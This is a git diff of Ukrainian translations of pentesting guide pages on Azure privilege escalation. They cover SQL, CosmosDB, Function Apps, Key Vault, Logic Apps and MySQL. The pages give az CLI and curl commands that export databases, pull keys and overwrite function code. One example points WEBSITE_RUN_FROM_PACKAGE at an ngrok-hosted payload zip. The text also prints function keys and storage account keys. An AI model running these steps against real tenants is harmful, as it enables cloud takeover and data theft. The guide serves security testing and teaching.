+З цією дозволом ви можете змінювати або активувати налаштування аудиту на Azure SQL Server. Це може дозволити зловмиснику або авторизованому користувачу маніпулювати конфігураціями аудиту, потенційно приховуючи сліди або перенаправляючи журнали аудиту до місця, що знаходиться під їх контролем. Це може ускладнити моніторинг безпеки або дозволити йому відстежувати дії. ЗАУВАЖЕННЯ: Щоб активувати аудит для Azure SQL Server, використовуючи Blob Storage, ви повинні підключити обліковий запис сховища, куди можуть зберігатися журнали аудиту.
```bash
az sql server audit-policy update \
--server \
@@ -51,7 +51,7 @@ az sql server audit-policy update \
--storage-account \
--retention-days 7
```
-### "Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read", "Microsoft.Sql/servers/connectionPolicies/read" && "Microsoft.Sql/servers/connectionPolicies/write"
+### `Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read`, `Microsoft.Sql/servers/connectionPolicies/read` && `Microsoft.Sql/servers/connectionPolicies/write`
З цією дозволом ви можете змінювати політики підключення Azure SQL Server. Цю можливість можна використати для активації або зміни налаштувань підключення на рівні сервера.
```bash
@@ -60,9 +60,9 @@ az sql server connection-policy update \
--resource-group \
--connection-type
```
-### "Microsoft.Sql/servers/databases/export/action"
+### `Microsoft.Sql/servers/databases/export/action`
-З цією дозволом ви можете експортувати базу даних з Azure SQL Server до облікового запису зберігання. Зловмисник або авторизований користувач з цим дозволом можуть ексфільтрувати чутливі дані з бази даних, експортувавши їх до місця, яке вони контролюють, що становить значний ризик витоку даних. Важливо знати ключ зберігання, щоб мати можливість це виконати.
+З цією дозволом ви можете експортувати базу даних з Azure SQL Server до облікового запису зберігання. Зловмисник або авторизований користувач з цим дозволом може ексфільтрувати чутливі дані з бази даних, експортувавши їх до місця, яке вони контролюють, що становить значний ризик витоку даних. Важливо знати ключ зберігання, щоб мати можливість це виконати.
```bash
az sql db export \
--server \
@@ -74,9 +74,9 @@ az sql db export \
--admin-password
```
-### "Microsoft.Sql/servers/databases/import/action"
+### `Microsoft.Sql/servers/databases/import/action`
-З цією дозволом ви можете імпортувати базу даних у Azure SQL Server. Зловмисник або авторизований користувач з цим дозволом може потенційно завантажити шкідливі або маніпульовані бази даних. Це може призвести до отримання контролю над чутливими даними або шляхом вбудовування шкідливих скриптів або тригерів у імпортовану базу даних. Додатково ви можете імпортувати її на свій власний сервер в Azure. Примітка: Сервер повинен дозволяти доступ до сервера для служб і ресурсів Azure.
+З цією дозволом ви можете імпортувати базу даних у Azure SQL Server. Зловмисник або авторизований користувач з цим дозволом може потенційно завантажити шкідливі або маніпульовані бази даних. Це може призвести до отримання контролю над чутливими даними або шляхом вбудовування шкідливих скриптів або тригерів у імпортовану базу даних. Додатково ви можете імпортувати її на свій власний сервер в Azure. Примітка: Сервер повинен дозволяти доступ служб Azure та ресурсів до сервера.
```bash
az sql db import --admin-user \
--admin-password \
@@ -85,6 +85,6 @@ az sql db import --admin-user \
--resource-group \
--storage-key-type SharedAccessKey \
--storage-key \
---storage-uri "https://.blob.core.windows.net/bacpac-container/MyDatabase.bacpac"
+--storage-uri `https://.blob.core.windows.net/bacpac-container/MyDatabase.bacpac`
```
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md
index aa632c74d..702c02dc8 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md
@@ -5,15 +5,13 @@
## CosmosDB Privesc
Для отримання додаткової інформації про SQL Database перегляньте:
-{% content-ref url="../az-services/az-cosmosDB.md" %}
-[az-cosmosDB.md](../az-services/az-cosmosDB.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-cosmosDB.md
+{{#endref}}
-### ("Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read") & ("Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read")
+### (`Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read`) & (`Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write`, `Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read`)
З цими дозволами ви можете підвищити привілеї, надаючи користувачу дозволи на виконання запитів і підключення до бази даних. Спочатку створюється роль визначення, що надає необхідні дозволи та області.
-
-{% code overflow="wrap" %}
```bash
az cosmosdb sql role definition create \
--account-name \
@@ -36,11 +34,7 @@ az cosmosdb sql role definition create \
]
}'
```
-{% endcode %}
-
Після цього визначення призначається користувачу. Після цього цей користувач може використовувати метод підключення DefaultAzureCredential() для виконання запитів.
-
-{% code overflow="wrap" %}
```bash
az cosmosdb sql role assignment create \
--account-name \
@@ -49,19 +43,12 @@ az cosmosdb sql role assignment create \
--principal-id \
--scope "/"
```
-{% endcode %}
-
-### "Microsoft.DocumentDB/databaseAccounts/listKeys/action"
-З цією дозволом ви можете отримати первинні та вторинні ключі для облікового запису Azure Cosmos DB. Ці ключі надають повний доступ до облікового запису бази даних та його ресурсів, що дозволяє виконувати такі дії, як читання даних, запис, та зміни конфігурації.
-
-{% code overflow="wrap" %}
+### `Microsoft.DocumentDB/databaseAccounts/listKeys/action`
+З цією дозволом ви можете отримати основні та вторинні ключі для облікового запису Azure Cosmos DB. Ці ключі надають повний доступ до облікового запису бази даних та його ресурсів, що дозволяє виконувати такі дії, як читання даних, запис та зміни конфігурації.
```bash
az cosmosdb keys list \
--name \
--resource-group
```
-{% endcode %}
-
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md
index eede5fdad..8b63b3c7f 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md
@@ -12,15 +12,15 @@
### Bucket Read/Write
-Маючи дозволи на читання контейнерів всередині облікового запису зберігання, який зберігає дані функції, можна знайти **різні контейнери** (кастомні або з попередньо визначеними іменами), які можуть містити **код, виконуваний функцією**.
+Маючи дозволи на читання контейнерів всередині Облікового запису зберігання, який зберігає дані функції, можна знайти **різні контейнери** (кастомні або з попередньо визначеними іменами), які можуть містити **код, виконуваний функцією**.
-Якщо ви знайдете, де розташований код функції, і у вас є дозволи на запис, ви можете змусити функцію виконати будь-який код і підвищити привілеї до керованих ідентичностей, прикріплених до функції.
+Якщо ви знайдете, де розташований код функції, і маєте дозволи на запис, ви можете змусити функцію виконати будь-який код і підвищити привілеї до керованих ідентичностей, прикріплених до функції.
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` і `WEBSITE_CONTENTSHARE`)
-Код функції зазвичай зберігається всередині файлового сховища. При достатньому доступі можна змінити файл коду і **змусити функцію завантажити довільний код**, що дозволяє підвищити привілеї до керованих ідентичностей, прикріплених до функції.
+Код функції зазвичай зберігається всередині файлового сховища. При достатньому доступі можна змінити файл коду і **змусити функцію завантажити довільний код**, що дозволяє підвищити привілеї до керованих ідентичностей, прикріплених до Функції.
-Цей метод розгортання зазвичай налаштовує параметри **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** і **`WEBSITE_CONTENTSHARE`**, які ви можете отримати з
+Цей метод розгортання зазвичай налаштовує параметри **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** і **`WEBSITE_CONTENTSHARE`**, які ви можете отримати з
```bash
az functionapp config appsettings list \
--name \
@@ -47,7 +47,7 @@ open "smb://.file.core.windows.net/"
```
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
-Також часто можна знайти **zip релізи** всередині папки `function-releases` контейнера облікового запису зберігання, який використовує функціональний додаток у контейнері **зазвичай називається `function-releases`**.
+Також часто можна знайти **zip релізи** всередині папки `function-releases` контейнера Storage Account, який використовує функціональний додаток у контейнері **зазвичай називається `function-releases`**.
Зазвичай цей метод розгортання встановлює конфігурацію `WEBSITE_RUN_FROM_PACKAGE` в:
```bash
@@ -55,18 +55,18 @@ az functionapp config appsettings list \
--name \
--resource-group
```
-Ця конфігурація зазвичай міститиме **SAS URL для завантаження** коду з облікового запису зберігання.
+Ця конфігурація зазвичай міститиме **SAS URL для завантаження** коду з Облікового запису зберігання.
> [!CAUTION]
> З достатніми правами для підключення до контейнера блобів, який **містить код у zip**, можливо виконати довільний код у Функції та підвищити привілеї.
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)`
-Так само, як і в попередньому випадку, якщо розгортання здійснюється через Github Actions, можливо знайти папку **`github-actions-deploy`** в обліковому записі зберігання, що містить zip коду та SAS URL до zip у налаштуванні `WEBSITE_RUN_FROM_PACKAGE`.
+Так само, як і в попередньому випадку, якщо розгортання здійснюється через Github Actions, можливо знайти папку **`github-actions-deploy`** в Обліковому записі зберігання, що містить zip коду та SAS URL до zip у налаштуванні `WEBSITE_RUN_FROM_PACKAGE`.
- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` та `WEBSITE_CONTENTSHARE`)
-З правами на читання контейнерів всередині облікового запису зберігання, який зберігає дані функції, можливо знайти контейнер **`scm-releases`**. Там можливо знайти останній реліз у **форматі файлу файлової системи Squashfs** і, отже, можливо прочитати код функції:
+З правами на читання контейнерів всередині Облікового запису зберігання, який зберігає дані функції, можливо знайти контейнер **`scm-releases`**. Там можливо знайти останній реліз у **форматі файлової системи Squashfs** і, отже, можливо прочитати код функції:
```bash
# List containers inside the storage account of the function app
az storage container list \
@@ -98,7 +98,7 @@ unsquashfs -l "/tmp/scm-latest-.zip"
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-.zip
```
-Також можливо знайти **ключі майстра та функцій**, збережені в обліковому записі зберігання в контейнері **`azure-webjobs-secrets`** всередині папки **``** у JSON-файлах, які ви можете знайти всередині.
+Також можливо знайти **ключі майстра та функцій**, збережені в обліковому записі зберігання в контейнері **`azure-webjobs-secrets`** всередині папки **``** в JSON-файлах, які ви можете знайти всередині.
> [!CAUTION]
> З достатніми правами для підключення до контейнера блобів, який **містить код у файлі з розширенням zip** (який насправді є **`squashfs`**), можливо виконати довільний код у Функції та підвищити привілеї.
@@ -116,9 +116,9 @@ az storage blob upload \
--file /tmp/scm-latest-.zip \
--overwrite
```
-### Microsoft.Web/sites/host/listkeys/action
+### `Microsoft.Web/sites/host/listkeys/action`
-Ця дозволяє перерахувати ключі функції, майстер-ключі та системні ключі, але не ключ хоста, вказаної функції з:
+Ця дозволяє перелічити ключі функції, майстер-ключі та системні ключі, але не ключ хоста, вказаної функції з:
```bash
az functionapp keys list --resource-group --name
```
@@ -133,7 +133,7 @@ curl "?code="
## Python example:
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
```
-І щоб **змінити код, який виконується** у функції на:
+І щоб **змінити код, який виконується** у функції з:
```bash
# Set the code to set in the function in /tmp/function_app.py
## The following continues using the python example
@@ -143,36 +143,36 @@ curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwro
-H "If-Match: *" \
-v
```
-### Microsoft.Web/sites/functions/listKeys/action
+### `Microsoft.Web/sites/functions/listKeys/action`
-Цей дозвіл дозволяє отримати ключ хоста вказаної функції з:
+Ця дозволяє отримати ключ хоста вказаної функції за допомогою:
```bash
az rest --method POST --uri "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//listKeys?api-version=2022-03-01"
```
-### Microsoft.Web/sites/host/functionKeys/write
+### `Microsoft.Web/sites/host/functionKeys/write`
Ця дозволяє створювати/оновлювати ключ функції вказаної функції з:
```bash
az functionapp keys set --resource-group --key-name --key-type functionKeys --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
-### Microsoft.Web/sites/host/masterKey/write
+### `Microsoft.Web/sites/host/masterKey/write`
-Ця дозволяє створити/оновити головний ключ для вказаної функції з:
+Ця дозволяє створювати/оновлювати головний ключ для вказаної функції з:
```bash
az functionapp keys set --resource-group --key-name --key-type masterKey --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
> [!CAUTION]
> Пам'ятайте, що з цим ключем ви також можете отримати доступ до вихідного коду та змінювати його, як було пояснено раніше!
-### Microsoft.Web/sites/host/systemKeys/write
+### `Microsoft.Web/sites/host/systemKeys/write`
Ця дозволяє створювати/оновлювати системний функціональний ключ для вказаної функції з:
```bash
az functionapp keys set --resource-group --key-name --key-type masterKey --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
-### Microsoft.Web/sites/config/list/action
+### `Microsoft.Web/sites/config/list/action`
-Ця дозволяє отримати налаштування функції. У цих конфігураціях може бути можливим знайти значення за замовчуванням **`AzureWebJobsStorage`** або **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**, які містять **ключ облікового запису для доступу до блоб-сховища функції з ПОВНИМИ правами**.
+Ця дозволяє отримати налаштування функції. Усередині цих конфігурацій може бути можливим знайти значення за замовчуванням **`AzureWebJobsStorage`** або **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`**, які містять **ключ облікового запису для доступу до блоб-сховища функції з ПОВНИМИ правами**.
```bash
az functionapp config appsettings list --name --resource-group
```
@@ -181,11 +181,11 @@ az functionapp config appsettings list --name --resource-group /resourceGroups//providers/Microsoft.Web/sites//config/publishingcredentials/list?api-version=2018-11-01"
```
-### Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write
+### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
-Ці дозволи дозволяють перераховувати значення конфігурації функції, як ми вже бачили раніше, плюс **модифікувати ці значення**. Це корисно, оскільки ці налаштування вказують, де знаходиться код для виконання всередині функції.
+Ці дозволи дозволяють перераховувати значення конфігурації функції, як ми бачили раніше, плюс **модифікувати ці значення**. Це корисно, оскільки ці налаштування вказують, де знаходиться код для виконання всередині функції.
-Отже, можливо встановити значення налаштування **`WEBSITE_RUN_FROM_PACKAGE`**, яке вказує на URL zip-файл, що містить новий код для виконання всередині веб-додатку:
+Отже, можливо встановити значення налаштування **`WEBSITE_RUN_FROM_PACKAGE`**, вказуючи на URL zip-файл, що містить новий код для виконання всередині веб-додатку:
- Почніть з отримання поточної конфігурації
```bash
@@ -193,7 +193,7 @@ az functionapp config appsettings list \
--name \
--resource-group
```
-- Створіть код, який ви хочете, щоб функція виконувала, і розмістіть його публічно
+- Створіть код, який ви хочете, щоб функція виконувала, і розмістіть його публічно.
```bash
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
@@ -205,7 +205,7 @@ ngrok http 8000
```
- Змініть функцію, зберігши попередні параметри, і додайте в кінці конфігурацію **`WEBSITE_RUN_FROM_PACKAGE`**, що вказує на URL з **zip**, що містить код.
-Наступний приклад - це **мої власні налаштування, вам потрібно змінити значення на свої**, зверніть увагу в кінці на значення `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` , тут я хостив додаток.
+Наступний приклад - це **мої власні налаштування, вам потрібно змінити значення на свої**, зверніть увагу в кінці на значення `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, тут я хостив додаток.
```bash
# Modify the function
az rest --method PUT \
@@ -213,9 +213,9 @@ az rest --method PUT \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
```
-### Microsoft.Web/sites/hostruntime/vfs/write
+### `Microsoft.Web/sites/hostruntime/vfs/write`
-З цією дозволом **можливо змінювати код програми** через веб-консоль (або через наступну точку доступу API):
+З цим дозволом **можливо змінювати код програми** через веб-консоль (або через наступну точку доступу API):
```bash
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
@@ -224,7 +224,7 @@ az rest --method PUT \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body
```
-### Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)
+### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)
Ці дозволи дозволяють перерахувати всі профілі публікації, які в основному містять **базові облікові дані аутентифікації**:
```bash
@@ -234,7 +234,7 @@ az functionapp deployment list-publishing-profiles \
--resource-group \
--output json
```
-Інший варіант полягає в тому, щоб встановити свої власні облікові дані та використовувати їх за допомогою:
+Іншим варіантом було б встановити свої власні облікові дані та використовувати їх за допомогою:
```bash
az functionapp deployment user set \
--user-name DeployUser123456 g \
@@ -264,7 +264,7 @@ az rest --method PUT \
```
- **Метод SCM**
-Потім ви можете отримати доступ до **SCM URL** вашого функціонального додатку з цими **базовими обліковими даними** та отримати значення змінних середовища:
+Тоді ви можете отримати доступ за допомогою цих **базових облікових даних для аутентифікації до URL SCM** вашого функціонального додатку та отримати значення змінних середовища:
```bash
# Get settings values
curl -u ':' \
@@ -299,36 +299,27 @@ put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and depl
```
_Зверніть увагу, що **FTP ім'я користувача** зазвичай має формат \\\$\._
-### Microsoft.Web/sites/publish/Action
-
-Згідно з [**документацією**](https://github.com/projectkudu/kudu/wiki/REST-API#command), це дозволення дозволяє **виконувати команди всередині сервера SCM**, що може бути використано для зміни вихідного коду програми:
-```bash
-az rest --method POST \
---resource "https://management.azure.com/" \
---url "https://newfuncttest123.scm.azurewebsites.net/api/command" \
---body '{"command": "echo Hello World", "dir": "site\\repository"}' --debug
-```
-### Microsoft.Web/sites/hostruntime/vfs/read
+### `Microsoft.Web/sites/hostruntime/vfs/read`
Ця дозволяє **читати вихідний код** програми через VFS:
```bash
az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
```
-### Microsoft.Web/sites/functions/token/action
+### `Microsoft.Web/sites/functions/token/action`
-З цією дозволом можливо [отримати **адміністративний токен**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01), який можна пізніше використати для отримання **майстер-ключа** і, отже, доступу та зміни коду функції:
+З цією дозволом можливо [отримати **адміністративний токен**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01), який можна пізніше використати для отримання **майстер-ключа** і, отже, доступу та зміни коду функції.
+
+Однак, під час моїх останніх перевірок жоден токен не був повернутий, тому він може бути вимкнений або більше не працювати, але ось як ви б це зробили:
```bash
# Get admin token
-az rest --method POST \
---url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions/admin/token?api-version=2024-04-01" \
---headers '{"Content-Type": "application/json"}' \
---debug
+az rest --method GET \
+--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions/admin/token?api-version=2024-04-01"
# Get master key
curl "https://.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer "
```
-### Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read)
+### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
Ці дозволи дозволяють **включати функції**, які можуть бути вимкнені (або вимикати їх).
```bash
@@ -342,15 +333,15 @@ az functionapp config appsettings set \
```bash
az rest --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Web/sites//functions//properties/state?api-version=2024-04-01"
```
-### Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)
+### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
-З цими дозволами можливо **модифікувати контейнер, що виконується функціональним додатком**, налаштованим для запуску контейнера. Це дозволить зловмиснику завантажити шкідливий контейнер додатку azure function на docker hub (наприклад) і змусити функцію виконати його.
+З цими дозволами можливо **модифікувати контейнер, що виконується функціональним додатком**, налаштованим для запуску контейнера. Це дозволить зловмиснику завантажити шкідливий контейнер azure function app на docker hub (наприклад) і змусити функцію виконати його.
```bash
az functionapp config container set --name \
--resource-group \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"
```
-### Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)
+### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)
З цими дозволами можливо **прикріпити нову керовану користувачем ідентичність до функції**. Якщо функція була скомпрометована, це дозволить підвищити привілеї до будь-якої керованої користувачем ідентичності.
```bash
@@ -361,7 +352,7 @@ az functionapp identity assign \
```
### Віддалене налагодження
-Також можливо підключитися для налагодження працюючої функції Azure, як [**пояснено в документації**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Однак за замовчуванням Azure вимкне цю опцію через 2 дні, якщо розробник забуде, щоб уникнути залишення вразливих конфігурацій.
+Також можливо підключитися для налагодження працюючої Azure функції, як [**пояснено в документації**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Однак за замовчуванням Azure вимкне цю опцію через 2 дні, якщо розробник забуде, щоб уникнути залишення вразливих конфігурацій.
Можливо перевірити, чи увімкнено налагодження для функції за допомогою:
```bash
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md
index b54d7e698..8e110b8f1 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md
@@ -10,7 +10,7 @@
../az-services/az-keyvault.md
{{#endref}}
-### Microsoft.KeyVault/vaults/write
+### `Microsoft.KeyVault/vaults/write`
Зловмисник з цим дозволом зможе змінити політику сховища ключів (сховище ключів повинно використовувати політики доступу замість RBAC).
```bash
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md
index b566a8c45..c9cc63fbc 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md
@@ -5,15 +5,13 @@
## Logic Apps Privesc
Для отримання додаткової інформації про SQL Database перегляньте:
-{% content-ref url="../az-services/az-logic-apps.md" %}
-[az-logic-apps.md](../az-services/az-logic-apps.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-logic-apps.md
+{{#endref}}
-### ("Microsoft.Resources/subscriptions/resourcegroups/read", "Microsoft.Logic/workflows/read", "Microsoft.Logic/workflows/write" && "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action") && ("Microsoft.Logic/workflows/triggers/run/action")
+### (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`) && (`Microsoft.Logic/workflows/triggers/run/action`)
-З цією дозволом ви можете створювати або оновлювати робочі процеси Azure Logic Apps. Робочі процеси визначають автоматизовані процеси та інтеграції між різними системами та сервісами.
-
-{% code overflow="wrap" %}
+З цією дозволом ви можете створювати або оновлювати робочі процеси Azure Logic Apps. Робочі процеси визначають автоматизовані процеси та інтеграції між різними системами та службами.
```bash
az logic workflow create \
--resource-group \
@@ -26,9 +24,7 @@ az logic workflow update \
--resource-group logicappgroup \
--definition
```
-{% endcode %}
-
-І після зміни ви можете запустити його за допомогою:
+А після зміни ви можете запустити його за допомогою:
```bash
az rest \
--method post \
@@ -36,16 +32,12 @@ az rest \
--body '{}' \
--headers "Content-Type=application/json"
```
-### ("Microsoft.Web/sites/read", "Microsoft.Web/sites/basicPublishingCredentialsPolicies/read", "Microsoft.Web/sites/write", "Microsoft.Web/sites/config/list/action") && ("Microsoft.Web/sites/start/action")
-З цими дозволами ви можете розгортати робочі процеси Logic App, використовуючи розгортання ZIP-файлів. Ці дозволи дозволяють виконувати такі дії, як читання деталей програми, доступ до облікових даних публікації, внесення змін і перерахування конфігурацій програми. Разом із дозволами на запуск ви можете оновити та розгорнути новий Logic App з бажаним вмістом
-
-{% code overflow="wrap" %}
+### (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/basicPublishingCredentialsPolicies/read`, `Microsoft.Web/sites/write`, `Microsoft.Web/sites/config/list/action`) && (`Microsoft.Web/sites/start/action`)
+З цими дозволами ви можете розгортати робочі процеси Logic App, використовуючи розгортання ZIP-файлів. Ці дозволи дозволяють виконувати такі дії, як читання деталей програми, доступ до облікових даних публікації, внесення змін і перерахування конфігурацій програми. Разом із дозволами на запуск ви можете оновити та розгорнути новий Logic App з бажаним вмістом.
```bash
az logicapp deployment source config-zip \
--name \
--resource-group \
--src
```
-{% endcode %}
-
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md
index cf7ea4d76..278b61b21 100644
--- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md
+++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-mysql-privesc.md
@@ -2,19 +2,16 @@
{{#include ../../../banners/hacktricks-training.md}}
-
## MySQL Database Privesc
Для отримання додаткової інформації про SQL Database перегляньте:
-{% content-ref url="../az-services/az-mysql.md" %}
-[az-mysql.md](../az-services/az-mysql.md)
-{% endcontent-ref %}
+{{#ref}}
+../az-services/az-mysql.md
+{{#endref}}
-### ""Microsoft.DBforMySQL/flexibleServers/read" && "Microsoft.DBforMySQL/flexibleServers/write"
+### `Microsoft.DBforMySQL/flexibleServers/read` && `Microsoft.DBforMySQL/flexibleServers/write`
-З цим дозволом ви можете створювати, оновлювати або видаляти екземпляри MySQL Flexible Server на Azure. Це включає в себе постачання нових серверів, модифікацію конфігурацій існуючих серверів або виведення серверів з експлуатації.
-
-{% code overflow="wrap" %}
+З цією дозволом ви можете створювати, оновлювати або видаляти екземпляри MySQL Flexible Server на Azure. Це включає в себеProvisioning нових серверів, модифікацію існуючих конфігурацій серверів або виведення серверів з експлуатації.
```bash
az mysql flexible-server create \
--name \
@@ -27,32 +24,20 @@ az mysql flexible-server create \
--tier \
--version